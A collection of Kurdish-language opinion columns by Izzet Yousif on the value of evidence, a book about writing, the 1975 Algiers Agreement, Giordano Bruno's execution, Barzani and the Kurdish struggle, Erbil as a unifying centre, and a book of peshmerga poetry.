عزەت یوسف

تەحەددا كەسەكێ‌ باوەری ب خوە نەكە… كا بەڵگە؟ پرسیارەكا سەنگین و جهگیرە.. ئینانا بەلگەی راستیێ‌ و رەواتیێ‌ ددەتە هەر مژارەكێ‌ یان هەر گۆتنەكا ل بەر پیڤان و كێشانێ‌ سەرراست دكەت و گۆمانێ‌ دبڕیت. چونكی گەر بەلگەیێن تەواو ل بەر دەست نەبن ب سەدان گۆتنێن نارەوا و بێسەروبەر و گۆترە و تومەت دێ‌ ژ دەڤێن دەڤبەشان و خامەیێن خاڤ ڤە پەژن و دێ‌ رژیێنە سەر بەرپەڕان و بەرگوهان و ئاكامێن خراب و كۆمباخ دێ‌ ژێ‌ ڤەترسكن. كورد دبێژن بۆ هەر تڕانەكێ‌ رژدیەك هەیە، یان هیچ دوكێل و دومان بێ‌ ئاگر بلند نابن، لێ‌ جار هەنە گۆتن نەتۆمەتەكا نەوەیی یە، لێ‌ راستیەكا بەرچاڤە و وەك چاڤێ‌ رۆژێ‌ ل ئاسمانێ‌ شینێ‌ زەلال یا رووناكە.
بوویەر هەنە د قەومن، دبێ‌ چەپ و پێچن، هەر پێدڤی بەڵگەی ناكەت، ئانكو بەلگە نەڤێن هرچا دیارە و دەوسا بەتالە، لێ‌ چونكی هیچ سەرەداڤێن دیار دەستناكەڤن، خۆدان نەشێ خوە تێهەل بكەت و بەلگەی وەكی شیرفرۆشی و سەرۆك وەزیرا دەمەكی یا ئوكرانیا دانتە بەرچاڤ لەوا تەنگەزار و گرفتار دبیت، شیر فرۆشەكی رۆژانە ژ گۆندی هندەك شیرێ‌ پەزی دكرە د پشتا پیكەمێ‌ دا و دبرە باژێری و ل تاخەكی دفرۆت، رۆژەكێ‌ هندەك كەسان گۆتنێ‌ شیرێ‌ تە یێ‌ چێلانە و ئاڤ ژی یا تێدا، چەندی كر و نەكر قەناعەت بۆ وان چێ نەبوو دا گۆمانبڕ بیت چار ناچار بۆ چەند رۆژەكان پەزێ‌ خۆ دكرە تڕۆمبێلەكێ‌ دا و دبرە تاخێ‌ باژێری و ل وێرێ‌ ددوت و دفرۆت.
ئەڤە جارەكێ‌ د كونفرانسەكێ‌ رۆژنامەڤانی دا ب سەرێ‌ (یولیا تیمۆشینكو) سەرۆكا (پارتا هەمی ئوكرانیان) هات، ل سالا 2005 سەرۆكا وەزیران بو. (یولیا، خۆدان پرچەكا درێژ و تژی كەزی ڤەهاندی بوو) رۆژنامەڤانەكا رووسی ئەو ئازراند و گۆتێ‌: (ئەو پارێ‌ تۆ بۆ ستایلێ‌ پرچا خوە دمەزێخی، تێرا مووچەیێ‌ هەیڤانەیێ‌ دەه مالین ئوكرانی دكەت) جولیایێ‌ گۆتێ‌: لێ‌ ئەز پرچا خوە ب دەستێ‌ خوە ستایل و شە دكەم، بۆچی درەوا دكەی؟) ئامادەبوویی حێبەتی مان دەمێ‌ دیتین یولیایێ‌ هەمبەری وان پرچا خوە ڤەكری و د ماوەیێ‌ شەش خۆلەكان دا لێكدایەڤە و ستایلێ‌ خوە چێكری.

عزەت یووسف

هێزا نڤێسینا هەر پەرتووكەكێ‌ یان مژارەكا ل سەر كاغەزێ‌ سەرپشكە بۆ خواندنێ‌، خوێندەڤانی هەتا دوماهیك رستە و پەیڤ ب دلخۆشی ل گەل خۆ هەڤسەفەر دكەت. نڤێسین بۆ هەر كەسەكی یان هەر گەلەكی گرنگیا خۆ هەیە، تایبەت كەس و گەلێن بن دەست، (ئێدوارد سەعید)، ل سەر گرنگی و باندۆرا نڤێسینێ‌ دبێژیت: (مرۆڤێ‌ وەلات نەبیت، نڤێسینێ‌ دكەتە نیشتمانێ‌ خۆ).
ل ڤێن دخوازم ئاماژە بدەمە سەر پەرتووكا (هێزا نڤێسینێ‌)، یا نڤیسەر (ئەلیسۆن فالۆن – Allison Fallon)، كو باندۆرێن گوهۆڕینێن نڤێسینی وەك ئالاڤەك بۆ خۆ ڤەدیتن و ساخكرنا سۆزداری و گەشەكرنا كەسایەتی دەتە بەر بەحس و ڤەكۆلینێ‌. فالون ب رێكا تێگەهشتنێن پراكتیكی و سەرهاتیێن كەسایەتی خوێندەڤانان هان ددەت كو هێزا نڤێسینێ‌ بكاربینن بۆ ڤەكرنا شیانێن خۆ و دوبارە خەیالكرنا خۆ.
هندەك ژ خال و دیتن و وانەیێن سەرەكییێن پەرتووك دەستەبەر دكەت:
نڤێسین وەك رێكا زەلالبوونێ‌: فالۆن تەكەز دكەت كو نڤێسین رێ‌ روون دكەت. دەما كو كەسەك هزر و هەستێن خۆ دانتە سەر كاغەزێ‌، باشتر دكاریت ژ هەست و پالدەر و حەزێن خۆ تێبگەهیت. ئەڤ پرۆسە هاریكارە بۆ رێكخستنا هزرێن مرۆڤی، و رۆنكرنا نیاز و مەرەم و رۆناهی بەردانا سەر گاڤێن دوارۆژێ‌ د گەشەكرنا كەسایەتیێ‌ دا.
مفایێن چارەسەریێن نڤێسینێ‌: نڤیسەر ئاماژە دكەت كو نڤێسین دكاریت وەك دەرگەهەكێ‌ ب هێز بۆ بۆ پرۆسەكرنا هەست و ئەزموونان بیت. نڤێسین دكاریت فشار و سترێس و خەمۆكیێ‌ كێمبكەت ب رێدان ب كەسان ژ بۆ دەربڕینا هەستێن خۆ ب ئاوایەكێ‌ ساخلەم و بنیاتكەر. ئەڤ هەناسەدانا هەستیار دبیتە ئەگەرێ‌ پتر باشبوونا دەروونی.
زاڵبوون ب سەر بیروباوەرێن سنووردار: فالۆن ئاماژە دكەتە كا چاوا نڤێسین دكاریت هاریكاریا تاكی بكەت بۆ دەستنیشانكرن و تەحەددایا ئەو بیروباوەرێن سنووردار كو رێگریێ‌ ل پێشكەفتنێن وان دگریت. ب دەربڕینا ڤان باوەریان ب نڤێسینێ‌، خوێندەڤان دكارن ژ راستیا وان ڤەكۆلن و بۆچوونێن ئەلتەرناتیڤی بۆ ببینن. ئەڤ پراكتیكە هزرا ب هێزكرنێ‌ پەروەردە دكەت و هاندانا كەسان دكەن بێ‌ ئاستەنگێن خۆسەپێن دویڤچوونێ‌ بۆ ئامانجێن خۆ بكەن.
گەشەكرنا سۆزداریێ‌ ل گەل خۆ: كتێب گرنگیا سۆزداریا خۆحەزكرنێ‌ د پرۆسەیا نڤێسینێ‌ دا بەرچاڤ دكەت. فالۆن خوێندەڤانی پالددەت ب دلۆڤانی و تێگەهشتنێ‌ هەمبەری خۆ بنڤێسیت، ب رێز سەرەدەریێ‌ ل گەل سەرهاتی و هەستێن خۆ بكەتن، ئەڤ پراكتیكە دایەلۆگەكا ناڤخۆیی یا پشتگیری پەروەردە دكەت، باشبوون و گەشەكرنا كەسی بەرەڤ پێش دبەت.
نەریتا نڤێساندنێن رۆژانە: نڤیسەر داكوكیێ‌ ل سەر دابونەریتەكا نڤێساندنێن خۆیێن رۆژانە دكەت وەك ئامیرەك بۆ ڤەكرنا شیانێن ئافراندنێ‌ پێشڤەبرنا خۆ دسپلینیێ‌. نڤێسینا ریكوپێك، هەتا ب زێدەبوونا كێم ژی، ب دەربازبوونا دەمی دكاریت ببیتە سەدەما تێگەهشتن و پێشكەفتنا بەرچاڤ. بەرهەڤكرنا ڤێ‌ پراكتیكێ‌ هاریكارە بۆ چەسپاندنا نڤێسینێ‌ وەك ئالافەكێ‌ بهادار بۆ ل خۆگەڕیانێ‌.
بكارئینانا نڤێسینێ‌ بۆ دانانا ئارمانجێ‌: نڤیسەر تەكەزێ‌ ل سەر كاریگەریا نڤێسینێ‌ بۆ دانانا ئارمانج و ب دەستئینانا وان دكەت. دیار كرنا ئارمانجا ب روونی و دابەشكرنا وان بۆ گاڤێن كرداری، مرۆڤ دشێت نەخشەڕێیەكێ‌ بۆ ئومێدێن خۆ دروست بكەت. نڤێسینا ڤان ئارمانجان بەرپرسیارەتیێ‌ و پابەندبوونێ‌ زێدە دكەت، پتر وان ریالیستی بەر بجهئینانێ‌ دكەت.
دیتنا دەنگێ‌ خۆ: فالۆن بەحسێ‌ گەشتا دیتنا دەنگێ‌ رەسەنێ‌ مرۆڤی ب رێكا نڤێسینێ‌ دكەت. نڤێسینا رێكوپێك رێ‌ ب مرۆڤی ددەت كو هزركرن و بیروباوەر و ئافراندنێن خۆ ببینیت، د داویێ‌ دا، رێ‌ لبەر هەستەكا ب هێزا خۆیی ڤەدكەت، ئەڤ پرۆسە باوەری ب خۆبوونێ‌ چێدكەت و هاریكاریا مرۆڤی دكەت ب ئازادی د هەمی بیاڤێن ژیانا خۆدا دەربڕینێ‌ ژ خۆ بكەت.

عزەت یوسف

هونەرمەندێ‌ مەزن شڤان پەروەر ل دەستپێكا سروودا خۆ یا نیشتمانی (ئەز كچەكەك گوندیمە) دبێژیت: (شەشێ‌ ئادارێ‌ 1975 ئەز ل كوردستانێ‌ ل گوندەكێ‌ باتمانێ‌ بووم).. گەر وی مەرەمەك ب ڤێ‌ گۆتنێ‌ هەبیت ئەوە كو رۆژا شەشێ‌ ئادارە رۆژەكا نەگبەت و رەش و نەژبیركەرە بۆ گەلێ‌ كوردستانێ‌.
شڤان ل گوندەكێ‌ باتمانێ‌ ل كوردستانا باكور بوو، لێ‌ ئەم نفشێ‌ سالێن شێستان ل كیڤە بووین؟ ئەم هێشتا د خشتەیێ‌ ژیێ‌ زارۆكاتیێ‌ دا بووین، مینا هزاران و دەهان هزاران زارۆك و ژن و پیر د شكەفت و گەلی و نەهال و گوندێن دویر و ڤەدەر، ل بەر دلۆڤانیا تۆپ و بۆمب و نەپالێن رژێما داگیر كەرا بەغدا بووین.
هەر ل وێ‌ رۆژا رەش، مینا هزارێن زارۆكێن كوردان ئەم ل گوندەكێ‌ دەڤەرا بەرواری ژێرییا ستوكوركێ‌ بووین، هەلبەت ژی رادیۆ و نووچە نەبوون. پاش بۆرینا پێنجی سالێن رەبەق ئەو رۆژ ل هزرا من و ل پێش چاڤێن منە. دبیت شەڤا 6/7-3-1975 بیت. شەڤەكا سڕ و تاڕی بوو.. ماڵەكا ڤەحەویایا گوندی، مێڤانەكێ‌ بەرگری ملی هەبوو، دەمێ‌ ل گوندان مێڤانەك بۆ ماڵەكێ‌ دهات، پڕانیا زەلامێن گوندی داچنە وێ‌ ماڵێ‌ نك مێڤانی ب گوندیڤە. گەلەك هەتا بانگێ‌ عەیشا دا دامینن پاشی دا ڤەرەڤن و هەر ئێك دا شەڤخۆشیێ‌ كەت و قەستا ماڵا خۆ كەت. وێ‌ شەڤێ‌ ژی گەلەك زەلام قولپی بوونە وێ‌ ماڵێ‌. مێڤان ژی یێ‌ گۆتن خۆش و ب دەڤ و ئەزمان بوو. بەرێ‌ مە چەند بچویكان ژی بۆ بێهنەكێ‌ كەتە وێرێ‌ و ل بەر دەرگەهی مە گۆهداری دكر. مێڤانی ژ دل دگۆت: گەلەك نەمایە كورد دێ‌ سەربكەڤن و گەهنە مافێن خۆ.
لێ‌ بۆ بەختێ‌ رەشێ‌ مێڤانی، بەختێ‌ رەشێ‌ هەمی گەلێ‌ كوردستانێ‌، سپێدەیا رۆژا پاشتر رۆژەكا هەش بوو، قاسدەك هات و خەبەرەكێ‌ جەرگبڕ و كوڤان ئینا و گۆت كورد شكەستن و پێشمەرگەی بەروكێن شەڕی بەردان و خیانەت ل كوردان هاتە كرن. وەسا ژی بوو.. گەنجێن گوندی ئەوێن پێشمەرگە ڤەگەڕیان و ئاگر ژناڤچاڤان دپەشی و مرنا ژێ‌ كێم بوو. خەلك تێكهاتن و تێكچوون و نەدزانین دێ‌ چ كەن. ئاخر زەمان بوو، مرن هەبا و ئەو رۆژ نەبا، كەسێ‌ چ چارەسەری ڤێنە بوو، رۆژەكا رەش بۆ ئاییندەكێ‌ نەدیار و رەشتر. كەس نەشیا دەربڕینێ‌ ژ وی رۆژێ‌ بكەت. شۆرەشا ئیلونێ‌ كەت، د گەلدا گەلەك كەت.
بەلێ‌ شۆرەش ل سەر دەستێ‌ پیلانەكا ناڤدەولەتی تووشی شكەستنێ‌ بوو، ئەو ژی رێكەفتنا كمباخا جەزائیر بوو، كو تێدا دەستهەلاتا بەعسا ئیراقێ‌ دەست ژ بەشەك ژ ئاخ و ئاڤا خۆ، ئانكو سەروەریا خۆ بۆ دەولەتا ئیرانێ‌ بەردا، رژێم ئامادە نەبوو كێشەیا رەوایا كوردی، كێشەیا ناڤخۆیی چارەسەر كەت، لێ‌ ئامادە بوو هەمی دەستبەردانێ‌ بۆ ئالیێ‌ دەرڤەیی بكەت، كو ل داویێ‌ دەڤەرا تێكدا كەتە ناڤ ئالۆزیێ‌ و ئاگری و شەرێن خویناوی و دەرەنجام سەرێ‌ هەمی پلاندانەر و جێبەجێكەر و یاریكەرێن پیلانێ‌ تێدا هاتنە سۆتن و نەمان و هەتا رۆژا ئەڤرۆ ژی دەڤەر سەقامگیر و ئارام نەبوویە.
راستە شۆرەش كەت، لێ‌ جارەكا دی ب ئاوایەكی نوی سەرێ‌ خۆ هلدا و گەلێ‌ كوردستانێ‌ بندەستی و كۆیلاتی قەبوول نەكر و قەبوول ناكەن.

عزەت یوسف

گەلەكن یێن سەرێ‌ خوە دكەنە د هەموو كاران دا بێی زانین و شۆلەژێ‌، گەلەكن كەچكێن خوە هەلدگرن و مالا مەولیدێ‌ نوزانن، گەلەكن هندەك كاران دكەن، لێ‌ پشتی كار دبیتە كارەسات تازە پەشیمانی دەردێ‌ وان چارەسەر ناكەت، پەشیمانیا هڕوبای بۆ قراندنا دارێ‌، دارێ‌ را ناكەت، پەشێمانیا دێرێ‌ بۆ سۆتنا (برۆنۆ)ی وی ساخ ناكەت (نەفرەت ل نەزانێن پیرۆز) بن، ئەڤ هەڤۆكە دەڕبڕینە داوی گۆتنا فەیلەسوفێ‌ ئیتالی (جیۆردانو برۆنۆ)، پشتی فەتوا و فەرمانا دێرێ‌ ب سۆتنا وی ب ساخی بوو، یێ‌ مت و بێ دەنگ بوو، نە د ئاخفت هەتا پیرەژنەكێ‌ تایەكێ‌ تڕكی د دەستان دا هاتی و و گۆتی ب ناڤێ‌ خۆدایێ‌ مەزن و هاڤێتینە دناڤ ئاگری دا، بێی كو هیچ تشتەكی ل دۆر تۆمەتا قوربانی بزانیت ژبلی كو بڕیار و فەرمانا دێرێ‌ بوویە، ئەڤ دەستەواژە یان دەربڕینە (نەفرەت ل نەزانینا پیرۆز) گۆت داكو مەزناتیا ئەڤی كەسی هەتا دونیا مایی ل بیرا بیردانكا مە دا بمینیت.
(برۆنۆ) ل دەستپێكێ‌ دەروێش بوو، د گەنجاتییا ژیێ‌ خوە دا مەیل و مەیانەت بۆ خوێندنا ئوولی هەبوو، پاشی بەرێ خوە ل خواندنا فەلسەفی كربوو، پاشدا زانستێ‌ ئەسترۆنومی خواندیە و تیۆرا (كوپەرنیكی) قەبیل كرییە، كو ژ ئالیێ‌ زەلامێن ئولی ڤە قەدەغەكری بوو، ئەڤ تیۆرە دبێژیت (ئەرد وەكی گۆكێ یە و ل دۆر رۆژێ‌ دزڤڕیت و ب ناڤەندا گەردوونێ‌ ناهێتە زانین و سستەمێ‌ رۆژێ‌ ئێكە ژ كۆما سستەمێن گەردوونێ‌).
ل سالا 1953 (جیۆردانو برۆنۆ) بۆ دادگەهێ‌ هاتە گازیكرن و چەندین تۆمەت دانەپال، كو دیارترین ژی خڕیان و زندیقی بوون، دەستەیا دادوەریا رۆمانی ب رەتكرنا باوەریا كاسۆلیكی تۆمەتباركر و ل 20 یناورا ساڵا 1600 (پاپا كلیمنتێ‌) هەشتێ‌ (جیۆردانو برۆنۆ)، ب تۆمەتا خڕیان و سەرداچوونێ‌ ب ساخ سۆتنێ‌ هاتە سزادان، سزا ل مەیدانا (كامپۆ دی فیۆری)، ل رۆما هاتە بجهئینان.
ب مرنا (جیۆردانو برۆنۆ) پەردە ل سەر ژیانا شەهیدێ‌ زانستی هاتە لادان، دێر ژ فەتوا خۆ پەشیمان بوو، وەك رویمەت رێزگرتن پەیكەرەكی بۆ (جیۆردانو برۆنۆ) ل جهێ‌ سۆتنا وی، ل مەیدانا فیۆری بۆ هاتە نكراندن و دانان، داكو یادا ڤی فەیلەسۆفی و فەلەكناسێ‌ مەزن نەمر بكەت.
دێر و دادگەه پەشێمان بوون، لێ‌ برۆنۆ دناڤ دار و كوڤلاندا ب نەزانینەكا پیرۆز سۆت و بۆ كوڤل.

عـزەت یـوسف

ل سالا 1962، جەواهرێ‌ نەمر، شیعرەك ل سەر نیشتمانێ‌ كورد ب ناڤێ‌ (كوردستان یا نیشتمانێ‌ قەهرەمانان) رێكخست، تێدا ئاماژە ب خەبات و بەرخۆدان و وێرەكییا بارزانیێ‌ نەمر و گەلێ‌ كوردستانێ‌ ددەت، (مللەتەك ستوینێن وی كەللە سەر و خوین بیت .. دونیا وێران بیت ئەو وێران نابیت). بارزانیێ‌ مەزن، كولتۆرێ‌ وی قوتابخانا نیشتمانپەروەری بوو دێ‌ نەمر و زیندی ژ نڤش بۆ نڤشی مینیت. سلاڤ ل وی چیایێ‌ بلند یێ‌ جەواهری پێگۆتی، سلاڤ ل وی سەركێشێ‌ كاروانێ‌ مەزن یێ‌ مزووری پێگۆتی. سلاڤ ل وی سەركردەی یێ‌ دوژمنان بەری دۆستان دانپێدایە. سلاڤ ل وی سەركردەی یێ‌ هەمی نڤیسەران؛ یێن دێرین و مودرێن ل سەر خەباتا وی مەندەهۆش راوەستیاین. هندەك شۆرەش و شەڕان تشتەكێ‌ گرنگ ب ئەنجام گەهاندینە. د ڤان كاودانان دا، مللەتی یان كەسی بۆ پاراستن یان ستاندنا ئازادییا خۆ خەباتا كری. ئێك ژ ڤان شۆڕەشان یا ئیلۆنێ‌ بوو. شۆرەشا ئیلونێ‌ پەیام و هێمایا ئازادیێ‌ بوویە. گەلێ‌ كورد ل ڤێ‌ شۆڕەشێ‌ ب سەرۆكاتییا بارزانیێ‌ نەمر لەهەنگی و دلسۆزی بۆ رامانا ئازادیێ‌ یا وەراركری.
دەما من پەرتووكا چیرۆكێن ئازادیێ‌ خواندین، د هەر شۆرەشەكێ دا خەباتا گەلێ‌ كورد زیق و رۆن دهاتە بەرچاڤێن من، دێ‌ هندەك ئاماژە وەك نموونە ب هندەك ژ وان چیرۆكان دەم.
ل شەڕێ‌ (ماراسۆنێ‌، گریك، 490 پ.ز)، یازدە زەلامێن رەشتەعلە ل سەر كۆپێ‌ چیایەكی راوەستیای و ل دۆلەكێ‌ دنێڕین، هەمی زەلام د ئەسمەر و رویهدار و خۆدان زەند و باسك بوون، نیڤەكا دولێ‌ دەشتەكا درێژ و بەرتەنگ بوو، پیچەك ژ میلەكی پتر ژ چیای یا دویر بوو. ل داوییا دەشتێ‌ كەمپەكا مەزنا لەشكرێ‌ دوژمنی لێبوو.. رۆژانە ئەڤی دوژمنی هێرشی ئەڤی چیای دكر، لێ‌ نەدكارین بسەركەڤن. ئەڤێ‌، ئێكسەر بیرا من دئینا لەشكرێ‌ دوژمنێ‌ گەلێ‌ كورد كو هێرشی چیایێن كوردستانێ‌ دكرن همبەری دەه دوازدە پێشمەرگەیان دشكەستن. ژبەر حەزا پێشمەرگەی بۆ ئازادیێ‌ دژوارتر شەڕ دكرن. باوەری و وێرەكییا وان همبەری دۆزا وان یا راست و رەوا سەركەفتن تۆمار دكرن. چونكی گەلێ‌ كورد خۆدان مافێ‌ رەوا بوو، خۆدان پێشمەرگە بوو، خۆدان سەركردەكێ‌ مەزن – بارزانیێ‌ نەمر بوو.
ل شەڕێ‌ دارستانا (تیوتوبێرگ، ئەلمانیا، ساڵا 9 ز)، هێدی هێدی لەشكری بۆ ناڤ تیوتوبێرگا مەزن دا ڕێ‌، دارستانەك ب هەمی ئاراستەیان یا بەلاڤە بوو. دارستانەك ژ هزارەها دار بەڕیێن مەزن و بلند و دارێن دی یا چڕ و پڕ بوو، تاك و قەدێن داروباری د ناڤ ئێك وەرببوون و تێك ئالیای بوون و مینا كەپر و بانا لێهاتبوون. دارستانەكا رەش و شاڤی بوو، چونكی ژبەر چڕاتییا دارویباری كێم كێم تیرۆژك دگەهشتە ئەردی. ب هەمان شێوە، پێشمەرگێن كوردستانێ‌ ل پشت هەر داربەڕیەكێ‌ چەپەرەك دانابوو، بنێ‌ هەر خولپەكێ‌ ماڵ و حالێ‌ وان بوو.ل وان كوسك و چەپەران شەڕ دكرن و دوژمن دبەزاندن، ئەڤە خەبات و وێرەكییا پێشمەرگێن بارزانیێ‌ نەمر بوو.
باژێرەك دژی ئمپراتۆڕیەك، گریك، 490 پ.ز، (میلتیادسی گۆتە كالیماكوسی): (یا مایی گرێدایی تەیە، بریارا تە دكاریت ئەسینایێ‌ بكەتە كۆیلە یان ژی ئازاد بپارێزیت. چونكی دبێژمە تە، ئەگەر ئەم شەڕی نەكەین، دبیت ئەم ژ ئالیێ‌ سوپایێ‌ فارسان ڤە بهێینە گرتن!) دەستێ‌ خۆ درێژ كر و دانا سەر ملێ‌ فەرماندارێ‌ باڵا. (ئەم دێ‌ شەڕی كەین و دێ‌ سەركەڤین). وەسا ژی كوردان درووشمێ‌ یان كوردستان یان نەمان بلند كر و شەڕ كرن و كۆیلاتی و بندەستی قەبوول نەكرن.
شەڕێ‌ تۆڕس، (فرەنسا، ساڵا 732 ز)، پێلەكا مرۆڤان، ب رێیەكا بەرتەنگا ئاخێ‌، كو بەر ب گۆندێن رۆژئاڤایا فرەنسا دا دەرباز دبوو، دچوون. پڕانییا وان پشتیێن خارنێ‌ و كەلوپەل ڤێبوون. كچەكا بچویك بزنەكا ب قەد كنفەك ل ستۆیی گرێدایی رادكێشا، كوڕەكی كاركەكێ‌ بچویك ل بەرملا بوو. ئەڤان هەمی كەسان سیمایەكێ‌ تڕس و نەمانێ‌ لێبوون. گەلەك جاران ل دۆر خۆ دزڤرین ب تڕسڤە چاڤێن خۆ ل رێ‌ دگێڕاندن. دزانین ل پشت وان مرن یا نێزیك بووی. ب هەمان ئاوایی، ئەڤێ‌ دەردەسەرییێ‌؛ مەرگ و مرن و دەربەدەری ل سەر دەستێ‌ دوژمن و داگیركەران بەردەوام ب سەر گەلێ‌ كورد دا هاتینە. لێ‌ كوردی دگۆت گەر ئەز خۆدان چیا و بڕنۆ و پێشمەركە و سەركردەكێ‌ وەكی بارزانی بم منەتا كەسێ‌ نزانم.
شەڕكەرێن هەلاتنا رۆژێ‌، هێرشا (مەنگولیان، ژاپۆن،1281)، سپێدەكا گەش و گەرما خزیرانێ‌ بوو، عەورێن سپی ل ئاسمانێ‌ شین دلڤین، و ئاوازێن بالندەیان سەقا تژی كربوو. لێ‌ (موسۆكی ئوگاساوارا) ئەو دەم نەبوو خۆشیێ‌ ب جوانیا رۆژێ‌ ببەت. ئەوی زرێ‌ خۆ یێ‌ شەڕی ل بەر خۆ كربوو. موسۆكی شەڕكەرەكێ‌ ژاپۆنی – سامۆڕای بوو. وان نزیكان دێ‌ شەڕی ل گەل بەربەرییێن دوژمنی كەت، ئەوێن هاتین هەوڵا داگیركرنا ژاپۆنێ‌ بدەن! ئەڤان شەڕ كرن و داگیركاری ب داوی ئینا، ژاپۆن ئازاد بوو!.. بارزانیێ‌ نەمر ژی مل ب مل ل چەپەرێن شەڕێ‌ ئازادیێ‌ دا بوو.
ل سالا 2010 پەرتووكەكا نوی یا زارۆكان یا سەرۆكێ‌ ئەمریكا باڕاك ئۆبامای ل ژێر ناڤێ‌ (بۆ وە سترانان دبێژم: نامەك بۆ كچێن من)، كو ل وی دەمی كچێن وی زارۆك بوون، كەتە بەردەستێ‌ خوێندەڤانان. پەرتووك دەربڕینەكا رێزلێنانێیە بۆ سەركردە و پیشەنگێن ئەمریكی، وەكی: (ئەبراهام لینكۆلن و جۆرج واشنتن و تیۆدور رۆزەفلت..). دبێژتێ‌ ئەمجادێن پیشەنگ و سەركردەیێن خۆ ژبیرنەكەن.. بەلێ‌ دڤێت ئەم ژی پیشەنگ و پێشرەوێن خۆ ژبیر نەكەین، بیرەوەریێن وان ب رێز راگرین.

عزەت یوسف

جارێ‌ دا ژ گۆتنەكا بەرێز (ئوسمان بایدەمیر)ی دەستپێبكەین، دبێژیت: (هەرێما كوردستانێ‌ ئۆمێدا هەمی كوردانە. چاڤێ‌ هەمی كوردان؛ باكۆر، رۆژهەلات و رۆژئاڤا ل باشورە)، گۆتنەكا موكمە، مینا بەرێ‌ كوژی د جهێ‌ خۆ دایە. نها، ژی بەرێ‌ هەمی كوردان ل هەولێرە، نە بەس هەولێرا پایتەختێ‌ هەرێما كوردستانێ‌، بەلكی هەولێرا پایتەختێ‌ هەمی پارچێن كوردستانا دابەشكری. گۆتنا كوردی دبێژیت هەمی رێ‌ دچنە ئاشی، یان ژی گۆتنا بیانی دبێژیت هەمی رێ‌ دچنە رۆمایێ‌، لێ‌ یا راستر، ئەڤرۆ هەمی رێ‌ دچنە هەولێر، رێیا هەڤگرتنێ‌ و سەركەفتنێ‌، رێیا ئازادی و ئاشتیێ‌… هەمی رێ‌ یێن دەستێ‌ خێرێ‌ و نیاز پاكیێ‌ و ئاڤاكرنێ‌ دچنێ‌، لێ‌ رێیا خرابكاریێ‌ و كاڤلكرنێ‌ و ئاژاوەگەریێ‌ ناچیتێ‌، رێ‌ بۆ چویچكا ویتانی و كرمێ‌ دارێ‌ هەر نینە.
رێیا گرتنەبەرا هەولێرێ‌ یا ل كار و رەواجە، چونكی رێیەكا رەوایە. رێبوار ژ دویر و نێزیك مشە قەسدكەنێ‌. هەمی ئالی و كەسێن رۆژەكێ‌ نەهاتینێ‌، یان جاروبار هاتینێ‌، یان ژی بەردەوام هاتینێ‌، نها پۆل پۆل و دەستە دەستە ب رژدی و پەیتی ملێ‌ خۆ ددەنە بەر ئەڤێ‌ رێ‌. رێیا دیارە و یا پاكە، گەلەكا نێزیكە بۆ هەر كەسێ‌ ب نیازەكا پاك روی بكەتێ‌.
ژ بۆ نەیارا بەریا دۆستان، باش خۆیا بوویە كو رێیا ساخ و سەرساخ هەر هەولێرە؛ هەولێرا دوژمن بەزێن، هەولێرا خۆدان هەلوەستێن خۆ یێن كوردەواریا نەگۆر، نها پتر ژ جاران شیایە ببیتە مالا كوردان.
چەند جهێ‌ دلخۆشیێ‌ یە، هەولێر ببیتە جهێ‌ باوەریێ‌ و چارەسەركرنا كێشان و ڤەكرنا گرێكان، چونكی دیارە هیچ كێشە بێی هەولێر چارە و دەرمان نابن.
ئەم كورد گەلەك ئاخینك و فیغانان بۆ ئێكگرتنا كوردی رادهێلین، هەر بەریا پتر ژ پێنجی سالان، ل قۆناغا بنەرەتی مە هۆنراوا زێوەری (ئەی كوردینا ئەی مەردینا با دەست لەناو دەستكەین هەموو)، هێشتا ژی مە دەستێن خۆ باش نەكرینە د ناڤ دەستێن ئێكدا. گومانبرە هەتا هەمی ئێك دەست نەبین، دوژمن دێ‌ وێراتیێ‌ ل سەر مە كەت. لەوا چارەسەری تنێ‌ بۆ ئێكدەستی و هەلوەست وەرگرتن ڤەگەریانە بۆ شیرەت و مشێوری نەكو پشت ل ئێككرن و گۆتارێن ئاگرین و دوبەرەكی و مەزاجی همبەر ئێكتر و تەخوینكرنا ئێكتر.
هەربژین ئەوێن هین هاتینە هەولێر و ژ وێرێ‌ ژی بۆ سەرێ‌ بلند و كۆمبوون ل گەل سەرۆك بارزانی بۆ دیتنا چارەسەریان. گەر درەنگ ژی بیت هەوە رێیا راستا گرتیەبەر، ئەڤە سەرەرێیە. گەلێ‌ كورد ب ڤان سەرەدان و كۆمبوون و دیداران رێزێ‌ ل خۆ دگریت و كاریزما و هەیبەتەكێ‌ ددەتە خۆ. ئەڤە سەردەمی گۆتوبێژ و دانوستاندنانە، زمانێ‌ رێزێ‌ و لێكتێگەهشتنێ‌ شەنگستەیە. ئەم مللەتەكین مە گەلەك دەرد و كارەسات دیتینە، لەوا مە باوەری ب پێكڤەژیانێ‌ هەیە، ئەم مللەتەكین مە پێتڤی ب ئێك هەلوەستی و هەماهەنگی و هەڤكاریا ئێكتر هەیە، ئەم مللەتەكین دخوازین ب سەربلندی بژین.
بدەنە رێ‌، سەرەرێ‌ یا دیارە، گوه نەدەنە سەررێدا چوویان، ئەو درەشبینن و بۆ هەر چارەسەریەكێ‌ سەد ئاریشەیان دخولقینن، ئەو پشكەكن ژ ئاریشێ‌ و خۆدان باوەریەكا لەرزۆك و هەژۆكن، ژ هەمی رۆناهییا دەوروبەرێن خۆ بەس سیبەرێ‌ دبینن، لەوا ل شوینا ل بەر روینن، دڤەمرینن.
هەرچەند دوژمن و زۆردار د مشە بن، هەرچەند پیلان و هەڤڕكی دمەزن بن، ب دەست ل ناڤ دەستی دهێنە بنبركرن و بنئاخكرن.
داخوازا هەمی كوردانە، ئەڤ تەرزە كۆمبوونە دەرگەهەكێ‌ خێرێ‌ بن بۆ بەرقرابوونا براتیێ‌ و ئاشتیێ‌ ل هەمی پارچێن كوردستانێ‌.

عزەت یوسف

دیوانا (د چانتكا پێشمەرگەی دا)، قەفتەكا هەلبەستێن ل سەر پێشمەرگاتیێ‌ دناڤ روپەلێن پڕ سۆزا نیشتمانی دا هەمبێز دكەت. هەلبەستڤانێ‌ ئاشق (زوهێر كورەماركی)، ئاشق و شەیدایێ‌ نیشتمان و مللەتێ‌ خۆ، حەژێكەرێ‌ پێشمەركەی، داخبارێ‌ خەبات و زەحمەت و خەمخۆریا پێشمەرگەی، ل داویێ‌ ژی بەژنا خۆ بۆ شەهادەتا پێشمەرگەی دچەمینیت. ئەڤ دیوانە كێمترین وەفاداریە بۆ لەهەنگییا پێشمەرگەی، بۆ شەهادەتا پێشمەرگەی، چونكی هندی دیوان و هەلبەست هەنە ناگەهنە دلۆپەكا خوینا شەهیدەكێ‌ پێشمەرگەی.
